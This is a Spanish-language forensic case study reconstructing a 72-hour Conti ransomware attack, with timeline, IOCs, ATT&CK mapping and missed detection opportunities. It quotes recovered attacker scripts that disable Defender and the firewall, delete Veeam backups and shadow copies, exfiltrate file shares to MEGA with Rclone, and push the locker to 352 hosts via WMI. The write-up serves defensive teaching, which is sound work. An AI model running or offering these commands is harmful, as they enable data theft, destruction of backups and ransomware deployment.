Conti: De Cobalt Strike a Exfiltración y Cifrado en 72 Horas
Reconstrucción completa de un ataque Conti: acceso inicial vía BazarLoader, despliegue de Cobalt Strike, reconocimiento con ADFind, credential harvesting con Mimikatz, exfiltración con Rclone y cifrado con Conti ransomware en 72 horas. Timeline detallado, IOCs y mapeo MITRE ATT&CK.
Contexto del escenario
Una empresa manufacturera con 1.800 empleados y operaciones en Europa detecta, a las 72 horas de la intrusión inicial, cifrado simultáneo en 340 endpoints y 12 servidores. La investigación forense reconstruye una cadena de ataque ejecutada con precisión quirúrgica: desde un correo electrónico con BazarLoader hasta el despliegue masivo de Conti ransomware, pasando por Cobalt Strike, ADFind, Mimikatz y Rclone.
Este caso documenta cada fase de la cadena, con los artefactos forenses reales y el timeline completo de 72 horas.
Conti: perfil operativo
Conti fue uno de los grupos de ransomware más prolíficos de 2020 a 2022, responsable de más de 1.000 ataques documentados con rescates acumulados que superaron los 180 millones de dólares. Operaba como un negocio estructurado con departamentos de desarrollo, negociación, recursos humanos y soporte técnico.
Los leaks internos de Conti (febrero 2022) revelaron:
- Estructura empresarial: más de 100 miembros con roles definidos
- Manuales operativos: guías paso a paso para cada fase del ataque
- Herramientas estándar: BazarLoader/TrickBot (acceso), Cobalt Strike (C2), ADFind (reconocimiento), Mimikatz (credenciales), Rclone (exfiltración), Conti locker (cifrado)
- SLA de soporte: respuesta a víctimas en menos de 24 horas
- Cadencia típica: de acceso inicial a cifrado en 2 a 5 días
Hora 0: Acceso inicial con BazarLoader
El correo de phishing
From: invoice-notification@[SPOOFED_DOMAIN].com
To: [email protected]
Subject: RE: Pending Invoice #INV-2026-0847
Date: Lunes 09:14 UTC
Body:
"Please review the attached invoice and confirm receipt.
Payment is due within 30 days."
Attachment: Invoice_INV-2026-0847.iso (1.2 MB)
El archivo .iso contenía:
Invoice_INV-2026-0847.iso
├── Invoice.lnk (acceso directo malicioso, 2 KB)
└── documents.dll (BazarLoader, 856 KB, hidden attribute)
Ejecución de BazarLoader
El usuario de contabilidad abrió el archivo ISO (montado automáticamente por Windows) y ejecutó Invoice.lnk, que contenía:
Target: C:\Windows\System32\rundll32.exe documents.dll,EnterDll
BazarLoader se ejecutó en el contexto del usuario y estableció comunicación con su C2:
# Tráfico de red capturado
09:14:32 TCP WS-ACCT-012 → 91.227.14[.]x:443 TLS (C2 BazarLoader)
09:14:33 TCP WS-ACCT-012 → 91.227.14[.]x:443 POST /api/v2/check
09:14:35 TCP WS-ACCT-012 → 91.227.14[.]x:443 GET /api/v2/download
BazarLoader descargó y ejecutó el payload de segunda etapa: un Cobalt Strike Beacon.
Artefactos forenses (Hora 0)
Proceso padre: rundll32.exe (PID 4892)
Línea de comando: rundll32.exe documents.dll,EnterDll
Proceso hijo: cmd.exe → powershell.exe
Descarga Cobalt Strike stager
Persistencia BazarLoader:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"WindowsUpdate" = "rundll32.exe C:\Users\[USER]\AppData\Local\Temp\documents.dll,EnterDll"
Archivo descargado:
C:\Users\[USER]\AppData\Local\Temp\update.exe (Cobalt Strike stager)
SHA256: 3f8a2b1c...d4e5f6a7
Hora 1 a 8: Cobalt Strike Beacon y reconocimiento
Despliegue del Beacon
El stager de Cobalt Strike descargó el Beacon completo y lo inyectó en un proceso legítimo:
# Sysmon Event ID 8 - CreateRemoteThread
SourceImage: C:\Users\[USER]\AppData\Local\Temp\update.exe
TargetImage: C:\Windows\System32\svchost.exe (PID 7324)
StartAddress: 0x00007FF8A1B20000
Configuración del Beacon extraída de la memoria:
BeaconType: HTTPS
C2 Server: cdn-static.analytics-update[.]com
C2 Port: 443
Polling: 60s
Jitter: 37%
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Watermark: 1234567890
Named Pipe: \\.\pipe\MSSE-1234-server
Spawn To x64: %windir%\sysnative\dllhost.exe
Spawn To x86: %windir%\syswow64\dllhost.exe
Reconocimiento de Active Directory
A las 2 horas del acceso inicial, el atacante comenzó el reconocimiento:
# Ejecución detectada por Sysmon Event ID 1
11:22:15 ADFind.exe -default -f "(objectcategory=organizationalUnit)"
11:22:18 ADFind.exe -default -f "(objectcategory=computer)" > computers.txt
11:22:21 ADFind.exe -default -f "(&(objectCategory=person)(objectClass=user))" > users.txt
11:22:24 ADFind.exe -subnets -f "(objectCategory=subnet)" > subnets.txt
11:23:01 net group "Domain Admins" /domain > domadmins.txt
11:23:05 nltest /dclist:CORP.LOCAL > dclist.txt
11:23:08 ipconfig /all > ipconfig.txt
11:23:10 systeminfo > sysinfo.txt
Reconocimiento de red
# Escaneo de puertos internos detectado por el IDS
11:45:00-12:15:00 TCP SYN scan desde WS-ACCT-012
Puertos escaneados: 445, 3389, 5985, 5986
Hosts alcanzados: 847 (subred 10.10.0.0/16)
Hosts con 445 abierto: 623
Hosts con 3389 abierto: 412
Hosts con 5985 abierto: 89 (WinRM)
Hora 8 a 24: Escalado de privilegios y credential harvesting
Mimikatz para credenciales locales
El atacante desplegó Mimikatz en la estación comprometida para extraer credenciales de la memoria:
# Actividad detectada vía Sysmon Event ID 10 (Process Access)
SourceImage: C:\Users\Public\m64.exe
TargetImage: C:\Windows\System32\lsass.exe
GrantedAccess: 0x1010 (PROCESS_QUERY_LIMITED_INFORMATION + PROCESS_VM_READ)
Credenciales obtenidas (reconstruidas desde el análisis forense):
# Credenciales extraídas por Mimikatz
Authentication Id: 0;999999
User Name: admin.backup
Domain: CORP
NTLM: aad3b435...5404ee (hash)
Authentication Id: 0;888888
User Name: svc-sql
Domain: CORP
NTLM: e19ccf75...a1b2c3 (hash)
La cuenta admin.backup era miembro de Domain Admins, lo que proporcionó al atacante control total sobre el dominio.
DCSync para el hash de krbtgt
Con credenciales de Domain Admin, el atacante ejecutó DCSync para obtener el hash de la cuenta krbtgt:
# Detectado por regla de monitorización de replicación DC
Event ID: 4662 (Active Directory object accessed)
Account: CORP\admin.backup
Object Type: Domain-DNS
Access: DS-Replication-Get-Changes-All
Source IP: 10.10.5.12 (WS-ACCT-012, NO es un DC)
Este evento es un indicador crítico: la replicación de directorio desde un host que no es controlador de dominio es casi siempre maliciosa.
Hora 24 a 48: Movimiento lateral masivo
Despliegue de Cobalt Strike en servidores clave
El atacante utilizó las credenciales de Domain Admin para desplegar Beacons adicionales:
# Timeline de movimiento lateral reconstruido
Hora 24: PsExec → DC-01 (Domain Controller primario)
Hora 25: PsExec → DC-02 (Domain Controller secundario)
Hora 26: WMI → DB-SQL-01 (SQL Server producción)
Hora 26: WMI → DB-SQL-02 (SQL Server réplica)
Hora 27: PsExec → FS-CORP-01 (File Server principal)
Hora 27: PsExec → FS-CORP-02 (File Server backup)
Hora 28: SMB → APP-ERP-01 (Servidor ERP)
Hora 29: WMI → BACKUP-01 (Servidor de backup Veeam)
Técnica de despliegue PsExec
# Comando PsExec capturado en logs
PsExec.exe \\DC-01 -u CORP\admin.backup -p [REDACTED]
-c C:\Users\Public\beacon_svc.exe -s -d
# El flag -s ejecuta como SYSTEM
# El flag -d no espera a que termine (detach)
Deshabilitación de defensas
En cada servidor comprometido, el atacante deshabilitó protecciones:
# Script batch encontrado en C:\Users\Public\disable_av.bat
sc stop "WinDefend"
sc config "WinDefend" start=disabled
sc stop "Sense"
sc config "Sense" start=disabled
Set-MpPreference -DisableRealtimeMonitoring $true
netsh advfirewall set allprofiles state off
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
Eliminación de backups
El atacante dedicó esfuerzo específico a destruir los backups:
# Detectado en logs del servidor BACKUP-01
# Eliminación de snapshots de Veeam
Get-VBRBackup | Remove-VBRBackup -Confirm:$false
# Eliminación de shadow copies
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
# Deshabilitación de recovery
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
Hora 48 a 66: Exfiltración con Rclone
Configuración de Rclone
El atacante desplegó Rclone en el file server principal con una configuración preconfigurada:
# C:\Users\Public\rclone.conf
[megadrive]
type = mega
user = corp_dump_2026@proton[.]me
pass = [ENCRYPTED_BY_RCLONE]
[gdrive]
type = drive
client_id = [REDACTED]
client_secret = [REDACTED]
token = {"access_token":"[REDACTED]"}
Ejecución de la exfiltración
# Script de exfiltración encontrado en C:\Users\Public\exfil.bat
@echo off
echo [%date% %time%] Starting exfiltration >> C:\Users\Public\exfil.log
rclone copy "\\FS-CORP-01\Finance" megadrive:dump/finance ^
--bwlimit 100M --transfers 4 --log-level ERROR ^
--log-file C:\Users\Public\exfil.log
rclone copy "\\FS-CORP-01\HR" megadrive:dump/hr ^
--bwlimit 100M --transfers 4 --log-level ERROR ^
--log-file C:\Users\Public\exfil.log
rclone copy "\\FS-CORP-01\Engineering" megadrive:dump/eng ^
--bwlimit 100M --transfers 4 --log-level ERROR ^
--log-file C:\Users\Public\exfil.log
rclone copy "\\FS-CORP-01\Legal" megadrive:dump/legal ^
--bwlimit 100M --transfers 4 --log-level ERROR ^
--log-file C:\Users\Public\exfil.log
echo [%date% %time%] Exfiltration complete >> C:\Users\Public\exfil.log
Volumen exfiltrado
# Análisis de tráfico de red (NetFlow)
Hora 48-66 (18 horas)
Origen: FS-CORP-01 (10.10.3.10)
Destino: MEGA endpoints (*.mega.nz)
Volumen total: 520 GB
Velocidad media: 8 GB/hora
Protocolo: HTTPS (443)
La exfiltración no fue detectada porque:
- El volumen se distribuyó en 18 horas, manteniendo un flujo moderado
- El destino (MEGA) no estaba bloqueado en el proxy corporativo
- No existían umbrales de alerta por volumen de tráfico saliente
- El tráfico era HTTPS, invisible para la inspección de contenido
Hora 66 a 72: Despliegue de Conti ransomware
Preparación del despliegue
El atacante preparó el despliegue masivo del ransomware usando las herramientas ya instaladas:
# Script de distribución encontrado en DC-01
# C:\Users\Public\deploy_locker.bat
@echo off
set LOCKER=C:\Users\Public\locker64.exe
set SHARE=\\DC-01\SYSVOL\CORP.LOCAL\scripts\locker64.exe
copy %LOCKER% %SHARE%
for /f %%i in (C:\Users\Public\targets.txt) do (
echo Deploying to %%i
copy %SHARE% \\%%i\C$\Windows\Temp\locker64.exe
wmic /node:%%i process call create "C:\Windows\Temp\locker64.exe --encrypt-mode=all --encryption-threads=16"
)
El archivo targets.txt contenía 352 hosts (340 estaciones + 12 servidores).
Propiedades del payload Conti
Nombre: locker64.exe
SHA256: 8b5e1c2d...f3a4b5c6
Tamaño: 1.8 MB
Tipo: PE64, C++
Cifrado: ChaCha20 (archivos) + RSA-4096 (clave ChaCha)
Extensión cifrada: .QTBHS
Nota de rescate: readme.txt
Hilos de cifrado: 16 (configurable)
Ejecución y cifrado
# Timeline del cifrado (reconstruido de logs EDR)
Hora 70:00 - locker64.exe desplegado en 352 hosts vía WMI/SMB
Hora 70:02 - Primeros procesos de cifrado iniciados
Hora 70:05 - Servicios SQL, Exchange, Veeam terminados
Hora 70:10 - Shadow copies eliminadas
Hora 70:15 - Cifrado activo en todos los hosts alcanzados
Hora 72:00 - Cifrado completado en ~95% de los hosts
340 estaciones + 12 servidores afectados
~4.2 TB de datos cifrados
Nota de rescate
All of your files are currently encrypted by CONTI ransomware.
If you try to use any additional recovery software - the files
might be damaged or lost.
To make sure that we REALLY CAN recover data - we offer you to
decrypt 2 files for free.
You can contact our team directly for further instructions through
our website:
TOR: http://contirecj4hbzmyzuydyzrvm2c65blmvhoj[...]onion
YOU SHOULD BE AWARE!
Just in case, if you try to ignore us. We've downloaded your data
and are ready to publish it on our news website if you do not respond.
So it will be better for both sides if you contact us ASAP.
YOUR ID: [UNIQUE_VICTIM_ID]
Timeline completo de 72 horas
HORA 0 (Lun 09:14) ── Phishing email abierto, BazarLoader ejecutado
HORA 0 (Lun 09:15) ── C2 BazarLoader establecido
HORA 1 (Lun 10:14) ── Cobalt Strike Beacon desplegado e inyectado
HORA 2 (Lun 11:22) ── Reconocimiento AD con ADFind
HORA 3 (Lun 11:45) ── Escaneo de puertos internos
HORA 8 (Lun 17:14) ── Mimikatz ejecutado, credenciales Domain Admin
HORA 10 (Lun 19:14) ── DCSync para hash krbtgt
HORA 24 (Mar 09:14) ── Movimiento lateral a DC-01, DC-02
HORA 26 (Mar 11:14) ── Movimiento lateral a DB-SQL-01, DB-SQL-02
HORA 27 (Mar 12:14) ── Movimiento lateral a file servers
HORA 29 (Mar 14:14) ── Compromiso del servidor de backup
HORA 30 (Mar 15:14) ── Deshabilitación de defensas en 12 servidores
HORA 32 (Mar 17:14) ── Eliminación de backups y shadow copies
HORA 48 (Mié 09:14) ── Inicio de exfiltración con Rclone (520 GB)
HORA 66 (Jue 03:14) ── Exfiltración completada
HORA 70 (Jue 07:14) ── Despliegue masivo de Conti locker
HORA 72 (Jue 09:14) ── Cifrado completado, nota de rescate visible
Respuesta al incidente
Detección (Hora 72)
La detección se produjo cuando los usuarios comenzaron a reportar archivos inaccesibles al inicio de la jornada laboral del jueves.
08:45 UTC - Primer ticket de soporte: "No puedo abrir mis archivos"
08:52 UTC - Segundo ticket con captura de pantalla de nota de rescate
08:55 UTC - SOC N1 escala a N2: confirmación de ransomware
09:00 UTC - Activación del plan de respuesta a incidentes
09:15 UTC - Aislamiento de red: desconexión de Internet y segmentación
Contención
- Desconexión de Internet completa
- Aislamiento de VLANs afectadas
- Apagado de servidores no cifrados para preservar evidencia
- Revocación masiva de credenciales (reset de todas las contraseñas de AD)
- Reset doble de krbtgt para invalidar Golden Tickets potenciales
Investigación forense
La reconstrucción del timeline se basó en:
- Logs de Sysmon (Event IDs 1, 3, 7, 8, 10, 17, 18)
- Logs de Windows Security (Event IDs 4624, 4662, 4688, 4698, 4720)
- Logs de firewall y proxy (NetFlow, URLs visitadas)
- Logs de IIS y Exchange
- Imágenes de memoria de hosts clave (Volatility)
- Artefactos en disco (prefetch, amcache, shimcache, $MFT)
Recuperación
La empresa tenía backups offline (cinta) con una antigüedad de 5 días. La restauración siguió esta prioridad:
- Día 1-3: Domain Controllers reconstruidos desde cero
- Día 3-5: Servidores de correo y ERP
- Día 5-7: File servers desde backup de cinta
- Día 7-14: Estaciones de trabajo reimaginadas
- Día 14-21: Verificación y normalización completa
IOCs del incidente
Hashes (SHA256)
3f8a2b1c...d4e5f6a7 BazarLoader (documents.dll)
8b5e1c2d...f3a4b5c6 Conti locker (locker64.exe)
a7b8c9d0...e1f2a3b4 Cobalt Strike Beacon (update.exe)
c5d6e7f8...a9b0c1d2 ADFind.exe
d3e4f5a6...b7c8d9e0 Mimikatz (m64.exe)
f1a2b3c4...d5e6f7a8 Rclone (rclone.exe)
IPs de C2
91.227.14[.]x BazarLoader C2
cdn-static.analytics-update[.]com Cobalt Strike C2
185.141.63[.]x Cobalt Strike C2 (IP)
194.147.142[.]x C2 secundario
Named Pipes (Cobalt Strike)
\\.\pipe\MSSE-1234-server
\\.\pipe\msagent_12
Artefactos en disco
C:\Users\Public\m64.exe Mimikatz
C:\Users\Public\beacon_svc.exe Cobalt Strike service
C:\Users\Public\rclone.exe Rclone
C:\Users\Public\rclone.conf Configuración MEGA
C:\Users\Public\exfil.bat Script de exfiltración
C:\Users\Public\deploy_locker.bat Script de despliegue
C:\Users\Public\targets.txt Lista de hosts objetivo
C:\Users\Public\disable_av.bat Script anti-AV
readme.txt Nota de rescate Conti
*.QTBHS Extensión de cifrado
Mapeo MITRE ATT&CK
| Táctica | Técnica | ID | Detalle |
|---|---|---|---|
| Initial Access | Phishing: Spearphishing Attachment | T1566.001 | ISO con LNK + DLL (BazarLoader) |
| Execution | User Execution: Malicious File | T1204.002 | Usuario abre LNK en ISO |
| Execution | System Services: Service Execution | T1569.002 | PsExec para despliegue lateral |
| Persistence | Boot or Logon Autostart: Registry Run Keys | T1547.001 | BazarLoader en Run key |
| Defense Evasion | Impair Defenses: Disable or Modify Tools | T1562.001 | Deshabilitación de Windows Defender y EDR |
| Credential Access | OS Credential Dumping: LSASS Memory | T1003.001 | Mimikatz en LSASS |
| Credential Access | OS Credential Dumping: DCSync | T1003.006 | DCSync para krbtgt |
| Discovery | Domain Trust Discovery | T1482 | ADFind + nltest |
| Lateral Movement | Remote Services: SMB/Windows Admin Shares | T1021.002 | PsExec + SMB para despliegue |
| Collection | Archive Collected Data | T1560 | No archivado (exfil directo) |
| Exfiltration | Exfiltration Over Web Service: Cloud Storage | T1567.002 | Rclone a MEGA (520 GB) |
| Impact | Data Encrypted for Impact | T1486 | Conti locker (ChaCha20 + RSA-4096) |
| Impact | Inhibit System Recovery | T1490 | Eliminación de backups y shadow copies |
Detección: oportunidades perdidas
El análisis post-mortem identificó 8 oportunidades de detección que, de haberse aprovechado, habrían detenido el ataque:
| Hora | Oportunidad | Por qué no se detectó |
|---|---|---|
| 0 | ISO con DLL oculta en correo | Gateway de correo no inspeccionaba ISOs |
| 1 | Inyección en svchost.exe | Sysmon no monitorizaba CreateRemoteThread |
| 2 | Ejecución de ADFind.exe | No había regla para detección de ADFind |
| 8 | Acceso a LSASS desde proceso no estándar | Regla de Sysmon EID 10 no configurada |
| 10 | DCSync desde host no-DC | Event ID 4662 no monitorizaba replicación |
| 30 | Deshabilitación de Windows Defender | Sin alerta por servicio de seguridad detenido |
| 48 | Tráfico masivo saliente hacia MEGA | Sin umbrales de volumen en proxy |
| 70 | WMI masivo hacia 352 hosts | Sin correlación de eventos WMI en SIEM |
Cada una de estas oportunidades representa un control que, implementado correctamente, habría detenido la cadena de ataque. La defensa en profundidad depende de tener múltiples capas de detección, no de una sola.
Lecciones aprendidas
- Monitorización de LSASS: implementar reglas de Sysmon Event ID 10 para accesos a lsass.exe desde procesos no autorizados
- Detección de reconocimiento AD: alertas para ejecución de ADFind, BloodHound, SharpHound
- DCSync detection: correlación de Event ID 4662 con replicación desde hosts no-DC
- Umbrales de tráfico saliente: alertas por volumen anómalo hacia servicios cloud
- Filtrado de archivos en correo: bloqueo de ISOs, IMGs y otros contenedores en el gateway
- Backups inmutables: backups que no puedan ser eliminados ni por Domain Admin
- Segmentación de backups: la red de backup debe ser independiente del dominio
- Velocidad de detección: cada hora cuenta; 72 horas es tiempo suficiente para detectar múltiples fases del ataque
Preguntas frecuentes
Artículos relacionados
Detectar Cobalt Strike Beacon en Red: Guía de Threat Hunting
LockBit 3.0: Incident Response Completo de Principio a Fin
BlackCat/ALPHV: Doble Extorsión y Data Leak Investigation
Threat Hunting: Movimiento Lateral con Sysmon y SIEM
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.